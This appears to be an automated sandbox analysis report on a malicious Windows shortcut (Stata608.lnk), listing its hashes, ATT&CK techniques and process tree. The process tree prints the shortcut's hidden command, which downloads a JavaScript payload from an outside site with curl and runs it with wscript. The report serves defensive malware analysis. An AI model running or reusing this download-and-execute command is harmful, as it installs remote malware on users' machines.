58675a65e137253c4ab5bd033b4d73f31150dd21d03fe0ac8e4d39b690e6b512

Analysis

max time kernel
150s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
09/09/2022, 13:27

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General

Target

Stata608.lnk
Size

2KB
MD5

622ebeaf56350997afa2d82cac040556
SHA1

eb62c6852ce7f7ffd05f5922bedd65cf128f55d1
SHA256

58675a65e137253c4ab5bd033b4d73f31150dd21d03fe0ac8e4d39b690e6b512
SHA512

1edfce0348c7070df92d5c2645ee5a2d29810b46edcb9d8b91eed68f7b78f55be434488ef24956f02b6dfe2e39accd2c68fe6a6a199460b52c36a292d0f993b8

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4260 wrote to memory of 2132	4260	cmd.exe	84
PID 4260 wrote to memory of 2132	4260	cmd.exe	84
PID 2132 wrote to memory of 4320	2132	cmd.exe	85
PID 2132 wrote to memory of 4320	2132	cmd.exe	85
PID 2132 wrote to memory of 3208	2132	cmd.exe	87
PID 2132 wrote to memory of 3208	2132	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Stata608.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /q /c echo 't5' && MD "C:\Users\Admin\AppData\Roaming\AF\yq9" && curl.exe --output C:\Users\Admin\AppData\Roaming\AF\yq9\MXoye8l.z2Xb.i8.js https://varejaocajuru.com.br/kUy/05.html && cd "C:\Users\Admin\AppData\Roaming\AF\yq9" && wscript MXoye8l.z2Xb.i8.js && echo "Vj"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\curl.exe
    curl.exe --output C:\Users\Admin\AppData\Roaming\AF\yq9\MXoye8l.z2Xb.i8.js https://varejaocajuru.com.br/kUy/05.html
    3⤵
    PID:4320
- - C:\Windows\system32\wscript.exe
    wscript MXoye8l.z2Xb.i8.js
    3⤵
    PID:3208

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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